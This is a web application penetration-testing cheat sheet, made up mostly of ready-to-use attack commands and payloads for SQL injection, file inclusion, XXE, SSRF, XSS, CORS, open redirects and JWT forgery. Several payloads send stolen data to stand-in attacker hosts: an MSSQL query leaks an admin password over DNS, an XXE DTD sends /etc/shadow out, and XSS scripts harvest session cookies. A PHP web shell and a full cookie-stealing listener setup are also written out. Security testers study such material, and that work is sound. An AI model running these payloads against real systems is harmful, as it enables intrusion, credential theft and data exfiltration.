Web Applications

Content Management Systems

WPScan

WPScan is a black-box WordPress vulnerability scanner that can enumerate installed plugins, themes, and users, and cross-reference them against a vulnerability database. You can find it here: https://github.com/wpscanteam/wpscan

You can find a comprehensive WPScan cheat sheet on this site covering installation, enumeration options, and useful flags in more detail.

1
wpscan --url https://example.com                                                                                       # Basic scan of a WordPress site
2
wpscan --url https://example.com --enumerate u                                                                         # Enumerate valid usernames
3
wpscan --url https://example.com --enumerate u,ap,cb,dbe --plugins-detection aggressive                                # Enumerate users, all plugins, config backups and DB exports with aggressive plugin detection
4
wpscan --url https://example.com/wp-login.php -P passwords.txt -U users.txt                                            # Brute-force login using a password and username list
5
wpscan --url https://example.com --enumerate ap,at,tt,cb,dbe,u1-20,m1-100 --detection-mode aggressive --api-token <YOUR_API_TOKEN>   # Full enumeration (plugins, themes, timthumbs, config backups, DB exports, users 1-20, media 1-100) against the WPScan vulnerability database

An API token (free tier available) is required to cross-reference findings against the WPScan vulnerability database.

You can also use a Google dork to hunt for exposed WordPress AJAX endpoints.

1
inurl:/wp-admin/admin-ajax.php   # Optionally scope with site: to a specific domain or TLD

SQL Injection

SQL Injection occurs when user-supplied input is concatenated into a database query without proper sanitisation, allowing an attacker to alter the query’s logic. Depending on the database engine and the query context, this can be used to bypass authentication, extract entire databases, write files to disk, or in some cases execute operating system commands.

Manual Testing

Before reaching for automation, try breaking the query with a handful of characters and observing how the application responds (error messages, blank pages, changed behaviour, or timing delays):

1
'
2
%27
3
"
4
%22
5
#
6
%23
7
;
8
%3B
9
)
10
*
11
' or 1=1 --
12
'%20or%201=1%20--
13
username=admin' or 1=1--+&password=password
14
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
15
1;IF USER='dbo' WAITFOR DELAY '00:00:15'

UNION-Based Injection

A UNION-based attack works in three stages: find the number of columns returned by the original query, work out which of those columns can display text, then use those columns to pull real data.

1
-- Determine the column count with ORDER BY, then confirm data types with NULLs
2
' UNION ALL SELECT 1,2,3,4,5 -- +
3
' UNION SELECT NULL,NULL,NULL,database(),NULL -- +

Useful things to pull once you have a working UNION query: database(), user(), @@version, and the contents of information_schema.tables / information_schema.columns.

sqlmap

sqlmap automates detection and exploitation across most database engines. You can find a comprehensive sqlmap cheat sheet on this site covering installation, common flags, and tamper scripts in more detail.

1
sqlmap -u https://example.com --crawl=1                                                                        # Crawl a site and test discovered parameters
2
sqlmap -u https://example.com/login.php --method POST --data "email=test%40test.com&password=test" -p "email"  # Test a POST parameter
3
sqlmap -u "https://example.com/products?id=1" -p id --random-agent --threads=5 --risk=3 --level=5 --force-ssl --current-db --dbs   # Aggressive scan against a GET parameter
4
sqlmap -u 'https://example.com/search.php' --forms --crawl=2 --dump                                            # Auto-detect forms and dump on success
5
sqlmap -r request.txt -p id --level 3 --risk 3 --tamper=between --random-agent --force-ssl --file-read=/etc/passwd --proxy http://127.0.0.1:8080   # Replay a saved Burp request, read a file, and route through Burp
6
sqlmap -r request.txt --dbms=mysql --os-shell                                                                  # Attempt to drop into an OS shell via the injection
7
sqlmap -r request.txt --ignore-code=401                                                                        # Ignore expected error codes while fuzzing

Techniques can be forced with --technique:

Dumping data once injection is confirmed:

1
--dbs                                      # List available databases
2
--tables -D <db_name>                      # List tables in a database
3
--columns -D <db_name> -T <table_name>     # List columns in a table
4
--dump -D <db_name> -T <table_name> -C <column_name>   # Dump a specific column
5
--all                                       # Retrieve everything

For WAF/filter evasion, chain tamper scripts:

1
sqlmap -r request.txt --level 3 --tamper=between,charunicodeencode,equaltolike,greatest,multiplespaces,randomcase,space2comment,space2plus,unmagicquotes --random-agent

Blind, time-based injection is confirmed with a delay-based payload, and stacked queries can be used for out-of-band exfiltration where direct output isn’t available:

1
-- MSSQL time-based blind confirmation
2
1' waitfor delay '0:0:10'--
3

4
-- MSSQL out-of-band exfiltration via xp_dirtree (requires outbound DNS/SMB from the DB server)
5
1;declare @p varchar(1024);set @p=(SELECT @@VERSION);exec('master..xp_dirtree "//'+@p+'.your-collaborator-domain.net/a"')--
6
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='admin');exec('master..xp_dirtree "//'+@p+'.your-collaborator-domain.net/a"')--

Other Tools

1
# Damn Small SQLi Scanner - lightweight alternative for quick checks
2
python3 dsss.py -u "http://example.com/index.php?id=1"

JSQL Injection is a GUI alternative worth having available, particularly for exploring results interactively.

After Access: Querying the Database

Once you have direct or injected access to run queries, the basics differ slightly per engine:

1
-- MySQL
2
SHOW DATABASES;
3
USE database_name;
4
SHOW TABLES;
5
DESCRIBE table_name;
6
SELECT * FROM table_name;

Command Injection

Command injection occurs when user input is passed to a function that executes operating system commands, without properly sanitising shell metacharacters. If you suspect a parameter is being passed to a system call (file conversion, ping/traceroute utilities, image processing, etc.), commix will automate detection and exploitation.

1
sudo commix -u https://example.com/upload.php -d "file="                          # Test a POST parameter
2
sudo commix -u "https://example.com/tools/ping.php?host=127.0.0.1" --random-agent # Test a GET parameter
3
sudo commix -u "https://example.com/tools/ping.php?host=127.0.0.1" --random-agent --os-cmd='id'   # Run a specific command once injection is confirmed

When triaging crawled URLs at scale, gf patterns make it easy to shortlist likely candidates before running commix against them:

1
gau example.com | gf rce

Server-Side Template Injection

Server-Side Template Injection (SSTI) happens when user input is embedded directly into a server-side template rather than being passed in as data, letting an attacker break out of the template context and execute code in the templating engine (and often the underlying OS). tplmap automates detection and exploitation across common template engines.

1
tplmap -u "https://example.com/products/filter?category=FUZZ"

File Inclusion & Path Traversal

File inclusion vulnerabilities occur when an application uses user-controlled input to build a filesystem path or include statement without sufficient validation. Depending on how the include is implemented, this can be used to read arbitrary local files (LFI) or, less commonly, to fetch and execute a remote attacker-hosted file (RFI).

Local File Inclusion

Basic traversal to reach files outside the intended directory:

1
../../../../etc/passwd
2
..%2F..%2F..%2F..%2Fetc%2Fpasswd

If basic traversal is filtered, try encoded or double-encoded variants:

1
../
2
..\
3
..\/
4
%2e%2e%2f
5
%252e%252e%252f
6
%c0%ae%c0%ae%c0%af
7
%uff0e%uff0e%u2215
8
..././
9
....\

ffuf can be used to fuzz for the vulnerable parameter and confirm the correct traversal depth:

1
ffuf -w /usr/share/wfuzz/wordlist/vulns/dirTraversal-nix.txt -u "https://example.com/page.php?file=FUZZ" -mc 200,302 -c -v

If direct file read isn’t available but you can influence a log file (e.g. via a crafted User-Agent), log poisoning can turn an LFI into RCE by injecting PHP into a log the application later includes:

1
../../../../../../var/log/apache2/error.log

1
https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d

Where the application fetches a remote file via a URL parameter, hosting a small PHP payload and including it directly can also lead to code execution:

1
phpexec.txt = <?php echo shell_exec($_GET["cmd"]); exit; ?>
2

3
https://target.example/section.php?page=http://attacker-host:8000/phpexec.txt%00&cmd=id

Remote File Inclusion

RFI works the same way as the URL-based LFI example above, but relies on the application allowing a fully qualified remote URL in the include parameter rather than requiring a local wrapper. It’s increasingly rare on modern PHP configurations (allow_url_include is disabled by default) but still worth checking on legacy stacks.

Common Sensitive File Locations (Windows)

When LFI is confirmed on a Windows host, these paths are worth targeting for credentials, configuration, and version information:

1
C:\Apache\conf\httpd.conf
2
C:\Apache\logs\access.log
3
C:\Apache\logs\error.log
4
C:\Apache2\conf\httpd.conf
5
C:\Apache2\logs\access.log
6
C:\Apache2\logs\error.log
7
C:\Apache22\conf\httpd.conf
8
C:\Apache22\logs\access.log
9
C:\Apache22\logs\error.log
10
C:\Apache24\conf\httpd.conf
11
C:\Apache24\logs\access.log
12
C:\Apache24\logs\error.log
13
C:\Documents and Settings\Administrator\NTUser.dat
14
C:\php\php.ini
15
C:\php4\php.ini
16
C:\php5\php.ini
17
C:\php7\php.ini
18
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
19
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
20
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
21
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
22
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
23
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
24
c:\Program Files (x86)\php\php.ini
25
C:\Program Files\Apache Group\Apache\conf\httpd.conf
26
C:\Program Files\Apache Group\Apache\conf\logs\access.log
27
C:\Program Files\Apache Group\Apache\conf\logs\error.log
28
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
29
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
30
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
31
C:\Program Files\FileZilla Server\FileZilla Server.xml
32
C:\Program Files\MySQL\my.cnf
33
C:\Program Files\MySQL\my.ini
34
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
35
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
36
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
37
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
38
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
39
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
40
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
41
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
42
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
43
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
44
C:\Program Files\php\php.ini
45
C:\Users\Administrator\NTUser.dat
46
C:\Windows\debug\NetSetup.LOG
47
C:\Windows\Panther\Unattend\Unattended.xml
48
C:\Windows\Panther\Unattended.xml
49
C:\Windows\php.ini
50
C:\Windows\repair\SAM
51
C:\Windows\repair\system
52
C:\Windows\System32\config\AppEvent.evt
53
C:\Windows\System32\config\RegBack\SAM
54
C:\Windows\System32\config\RegBack\system
55
C:\Windows\System32\config\SAM
56
C:\Windows\System32\config\SecEvent.evt
57
C:\Windows\System32\config\SysEvent.evt
58
C:\Windows\System32\config\SYSTEM
59
C:\Windows\System32\drivers\etc\hosts
60
C:\Windows\System32\winevt\Logs\Application.evtx
61
C:\Windows\System32\winevt\Logs\Security.evtx
62
C:\Windows\System32\winevt\Logs\System.evtx
63
C:\Windows\win.ini
64
C:\xampp\apache\conf\extra\httpd-xampp.conf
65
C:\xampp\apache\conf\httpd.conf
66
C:\xampp\apache\logs\access.log
67
C:\xampp\apache\logs\error.log
68
C:\xampp\FileZillaFTP\FileZilla Server.xml
69
C:\xampp\MercuryMail\MERCURY.INI
70
C:\xampp\mysql\bin\my.ini
71
C:\xampp\php\php.ini
72
C:\xampp\security\webdav.htpasswd
73
C:\xampp\sendmail\sendmail.ini
74
C:\xampp\tomcat\conf\server.xml

XML External Entities (XXE)

An XML External Entity (XXE) attack abuses features of XML parsers to interact with backend or external systems that the application itself can reach. Beyond reading arbitrary files, XXE can be chained into denial of service, SSRF, port scanning, and in some cases remote code execution. Look for XML parsing anywhere a document, spreadsheet, PDF, or SVG can be uploaded, and try spraying Content-Type: application/xml on requests to see what errors come back.

There are two flavours: in-band, where the payload’s output is reflected directly in the response, and out-of-band (blind), where the result has to be exfiltrated to an attacker-controlled listener because there’s no direct response to read from.

1
<!-- Simple local file read -->
2
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
3
<root>&xxe;</root>
4

5
<!-- Reflecting the entity into a response field -->
6
<!DOCTYPE replace [<!ENTITY name "value">]>
7
<userInfo>
8
  <firstName>&name;</firstName>
9
</userInfo>
10

11
<!-- Out-of-band read via an external DTD (useful when there's no direct output) -->
12
<!-- Hosted DTD file: -->
13
<!ENTITY % stolendata SYSTEM "file:///etc/shadow">
14
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://attacker-host:4444/?%stolendata;'>">
15
<!-- Referencing document: -->
16
<?xml version="1.0" encoding="utf-8"?>
17
<!DOCTYPE demo [
18
    <!ELEMENT demo ANY >
19
    <!ENTITY % extentity SYSTEM "http://attacker-host:4444/evil.dtd">
20
    %extentity;
21
]>
22

23
<!-- XInclude, useful when you can't control the DOCTYPE -->
24
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
25
  <xi:include parse="text" href="file:///etc/passwd"/>
26
</foo>
27

28
<!-- SVG upload, often overlooked as an XML-based format -->
29
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="200">
30
    <image xlink:href="expect://id" xmlns:xlink="http://www.w3.org/1999/xlink"></image>
31
</svg>
32

33
<!-- SOAP request wrapping a classic XXE payload -->
34
<soap:Body>
35
  <foo>
36
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker-host:22/"> %dtd;]><xxx/>]]>
37
  </foo>
38
</soap:Body>

A quick reference for the resource: gosecure XXE workshop.

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery is a vulnerability where an attacker forces a server to make a request on their behalf, often to internal resources that wouldn’t normally be reachable from the outside (metadata endpoints, internal admin panels, other services on the same network). It’s a common target in PDF generators, URL preview features, webhooks, and image-fetching functionality.

SSRFmap automates exploitation from a saved Burp request:

1
python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan

Where allow-listing is in place, these bypasses are worth working through:

1
## Localhost variants
2
http://127.0.0.1:80
3
http://0.0.0.0:80
4
http://localhost:80
5
http://[::]:80/
6
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
7

8
## CIDR bypass
9
http://127.127.127.127
10
http://127.0.1.3
11
http://127.0.0.0
12

13
## Decimal / octal bypass
14
http://2130706433/    = http://127.0.0.1
15
http://3232235521/    = http://192.168.0.1
16

17
## Malformed URLs / parser confusion (different libraries resolve these differently)
18
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
19
http://127.1.1.1:80\@127.2.2.2:80/
20
http://127.1.1.1:80#\@127.2.2.2:80/
21

22
## PHP filter_var() bypass
23
0://evil.com:80;http://target.com:80/

Where the response is reflected, chaining SSRF into a local wrapper can read source files:

1
php://filter/convert.base64-encode/resource=index.php

And where the SSRF is blind but you have a stored XSS or similar on the target, the server itself can be used as a relay to exfiltrate the response of an internal request:

1
var myserver = 'http://attacker-host:8000/';
2
var targeturl = 'http://internal-service.local/accounts';
3

4
var req = new XMLHttpRequest;
5
req.onreadystatechange = function () {
6
  if (req.readyState == 4) {
7
    var req2 = new XMLHttpRequest;
8
    req2.open("GET", myserver + btoa(this.responseText), false);
9
    req2.send();
10
  }
11
};
12
req.open("GET", targeturl, false);
13
req.send();

Cross-Site Scripting (XSS)

A web application is vulnerable to XSS if it renders unsanitised user input back into the page, allowing an attacker to run arbitrary JavaScript in a victim’s browser session. There are three main types:

• Stored XSS — the most dangerous variant. The malicious payload is saved server-side (a comment, profile field, etc.) and served to every visitor who views it.
• Reflected XSS — the payload is part of the victim’s own request and is echoed back in the response, requiring the attacker to trick the victim into clicking a crafted link.
• DOM-based XSS — the payload never reaches the server at all; it’s introduced entirely client-side through unsafe DOM manipulation of attacker-controllable data (URL fragments, postMessage, etc.).

Scanning

XSStrike is a good first pass for reflected parameters:

1
python3 xsstrike.py -u "https://example.com/search?q="
2
python3 xsstrike.py -u "https://example.com" --crawl

Always double check anything it flags manually in Burp/the browser — automated scanners over-report on context-sensitive filters.

Polyglots

Polyglot payloads are built to break out of several different injection contexts at once, useful when you don’t know exactly how your input is being reflected:

1
"'><script>alert()</script>
2
"--><script>alert(document.cookie)</script>
3
javascript:alert(1)//"'></script><script>alert()</script>
4
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
5
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Tags & Event Handlers

If the obvious <script> tag is filtered, these tags and events are worth cycling through:

1
# Tags
2
script, img, svg, a, body, html, meta, xml, object, iframe
3

4
# Events
5
onload, onerror, onclick, ondblclick, onmousedown, onmousemove, onmouseover,
6
onmouseout, onmouseup, onkeydown, onkeypress, onkeyup, onabort, onresize,
7
onscroll, onunload, onsubmit, onblur, onchange, onfocus, onreset, onselect,
8
onauxclick, oncontextmenu, onmouseleave, ontouchcancel

Payloads

1
<!-- Basic proof of concept -->
2
<script>alert(document.cookie)</script>
3

4
<!-- Where () is filtered - backticks work just as well -->
5
<img src=a onerror=alert`1`>
6

7
<!-- Where href is attacker-controlled -->
8
javascript:alert(1)
9

10
<!-- Already inside a </script> context -->
11
'-alert(1)-'
12

13
<!-- NULL byte to try bypass a blacklist filter -->
14
%00<script>alert(1)</script>
15

16
<!-- Invisible iframe redirecting a victim's browser to a listener -->
17
<iframe src="http://attacker-host/report" height="0" width="0"></iframe>
18

19
<!-- Session cookie exfiltration -->
20
<script>new Image().src="http://attacker-host/bogus.php?output="+document.cookie;</script>
21

22
<!-- Credential-harvesting login form injected via stored XSS -->
23
<h3>Please login to proceed</h3>
24
<form action="http://attacker-host">
25
  Username:<br><input type="text" name="username"></br>
26
  Password:<br><input type="password" name="password"></br>
27
  <input type="submit" value="Logon">
28
</form>

Stored XSS Cookie Stealing, End to End

If you can store a script in a comment field, profile bio, or similar, and want to harvest visitors’ cookies:

1
<?php
2
    $cookie = $_GET["c"];
3
?>

Save it as cookie.php, start a PHP server on the attacking box:

1
php -S 0.0.0.0:8000

Then inject the following into the vulnerable field:

1
<script>document.location='http://attacker-host:8000/cookie.php?c='+document.cookie;</script>

Every visitor who loads the page sends their cookie to the listener.

Further reading: PortSwigger XSS cheat sheet, OWASP filter evasion cheat sheet, XSS payload repository.

Cross-Site Request Forgery (CSRF)

CSRF abuses the fact that browsers automatically attach a user’s session cookies to requests, regardless of which site initiated them. Using an attacker-controlled page (or an XSS vulnerability), a victim can be made to unknowingly submit a request to a target application while authenticated, triggering a state-changing action (creating a user, transferring funds, etc.) in their own account.

Where a CSRF token is present but the endpoint still accepts requests without one, or where SameSite cookie protections are in play, these bypasses are worth trying:

1
# Method override — some frameworks honour these even when the real verb is blocked by SameSite
2
https://example.com/api/val/num?_method=PUT
3

4
X-HTTP-Method: PUT
5
X-HTTP-Method-Override: PUT
6
X-Method-Override: PUT

Further reading: HackTricks CSRF, SameSite Lax bypass via method override, Cobalt CSRF bypass roundup.

CORS Misconfiguration

Cross-Origin Resource Sharing misconfigurations occur when a server reflects an arbitrary Origin header back in Access-Control-Allow-Origin (sometimes alongside Access-Control-Allow-Credentials: true), letting any attacker-controlled page read authenticated responses from the target on behalf of a logged-in victim.

Checking a single endpoint manually:

1
site="https://example.com"
2
curl -s -I -H "Origin: https://evil.com" -X GET "$site" | grep -i 'access-control-allow-origin: https://evil.com' && echo "[Potential CORS] $site"

Checking every crawled endpoint of a site:

1
gau example.com | while read url; do
2
  curl -s -I -H "Origin: https://evil.com" -X GET "$url" | grep -qi 'https://evil.com' && echo "[Potential CORS] $url"
3
done

It’s also worth checking whether null origin is trusted, which can be triggered from a sandboxed iframe:

1
site="https://example.com"
2
curl -s -I -H "Origin: null" -X GET "$site" | grep -qi 'Access-Control-Allow-Origin: null' && echo "[Potential CORS - null origin trusted] $site"

CORS-one-liner wraps these checks for scanning a list of hosts at once.

Once reflection is confirmed, a minimal proof of concept demonstrates real impact by reading an authenticated endpoint cross-origin and rendering the result:

1
<!DOCTYPE html>
2
<html>
3
  <head>
4
    <script>
5
      function exploit() {
6
        var xhttp = new XMLHttpRequest();
7
        xhttp.onreadystatechange = function () {
8
          if (this.readyState == 4 && this.status == 200) {
9
            document.getElementById("output").innerText = this.responseText;
10
          }
11
        };
12
        xhttp.open("GET", "https://example.com/api/user/profile", true);
13
        xhttp.withCredentials = true;
14
        xhttp.send();
15
      }
16
    </script>
17
  </head>
18
  <body>
19
    <h2>CORS PoC</h2>
20
    <button onclick="exploit()">Exploit</button>
21
    <pre id="output"></pre>
22
  </body>
23
</html>

Open Redirects

An open redirect lets an attacker construct a link that appears to point at a trusted domain but ultimately redirects the victim to an attacker-controlled destination — useful for phishing, and occasionally chainable into OAuth token theft where a redirect_uri isn’t strictly validated.

1
https://company.com/?redirect=http://attacker.com
2
https://company.com/?redirect=http://company.com.attacker.com
3
https://company.com/?redirect=https://[email protected]
4
https://company.com/?redirect=//attacker.com
5
https://company.com/?redirect=http://attacker.com#company.com
6
https://company.com/?redirect=http://attacker.com?company.com
7
https://company.com/?redirect=http://attacker.com/company.com
8
https://company.com/?redirect=http://ⓐⓣⓣⓐⓒⓚⓔⓡ.ⓒⓞⓜ
9
///[email protected]
10
http:/evil%252ecom

Parameter names worth grepping crawled URLs for:

1
url=|rt=|cgi-bin/redirect.cgi|continue=|dest=|destination=|go=|out=|redir=|redirect_uri=|redirect_url=|return=|return_path=|returnTo=|rurl=|target=|view=|from_url=|load_url=|file_url=|page_url=|file_name=|page=|folder=|folder_url=|login_url=|img_url=|return_url=|return_to=|next=|redirect=|redirect_to=|logout=|checkout=|checkout_url=|goto=|next_page=|file=|load_file=

1
gau example.com | gf redirect

Encoding the destination (=http, =aHR0) is often enough to slip past a naive allow-list check on its own.

Further reading: PayloadsAllTheThings — Open Redirect.

Insecure Direct Object References (IDOR)

IDOR occurs when an application exposes a reference to an internal object — a file ID, order number, or account ID — without checking whether the requesting user is actually authorised to access it. If those references are sequential or otherwise easy to guess (?id=1042, /invoices/1041.pdf), an attacker can enumerate them to pull other users’ data.

When testing, look specifically for:

• Numeric or otherwise low-entropy identifiers in URLs, form fields, and API responses.
• Endpoints that accept an ID parameter but never validate it against the authenticated session.
• Object references leaking in places other than the URL — hidden form fields, API responses for unrelated objects, or export/PDF filenames.

Burp’s Intruder (or a simple loop with curl) against the identified parameter, run as a lower-privileged or authenticated-but-unrelated user, is usually enough to confirm the finding.

JWT & Session Attacks

A JSON Web Token is a common mechanism for stateless authorization. It’s made up of three base64url-encoded, dot-separated parts:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

1. Header — the signing algorithm and token type, e.g. {"alg":"HS256","typ":"JWT"}.
2. Payload — claims about the user (ID, role, expiry, etc.), fully readable by anyone since it’s only base64-encoded, not encrypted.
3. Signature — proves the header and payload weren’t tampered with, generated using whatever algorithm was declared in the header.

The alg: none Attack

Some JWT libraries still honour an algorithm value of none, meaning no signature is required at all. If the server hasn’t explicitly rejected that algorithm, you can decode a legitimate token, edit the claims you want to change, re-encode it with alg set to none, and drop the signature entirely:

1
// Original header
2
{"typ":"JWT","alg":"HS256"}
3
// Original payload
4
{"exp":1586620929,"iat":1586620629,"identity":1}

1
// Modified header
2
{"typ":"JWT","alg":"NONE"}
3
// Modified payload — escalate to a different user ID
4
{"exp":1586620929,"iat":1586620629,"identity":2}

Base64url-encode each part, join them with dots, and leave the signature section empty (a trailing dot with nothing after it):

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwiaWRlbnRpdHkiOjB9Cg.

Replace the cookie or Authorization header with the new token and reload — if the endpoint is vulnerable, the application will now treat the request as the escalated identity.

Cracking the Signing Secret

If alg: none doesn’t work, the signature is still worth attacking directly — a weak or default HMAC secret can be brute-forced offline with jwt_tool or jwtcrack, letting you forge arbitrary valid tokens once the secret is recovered.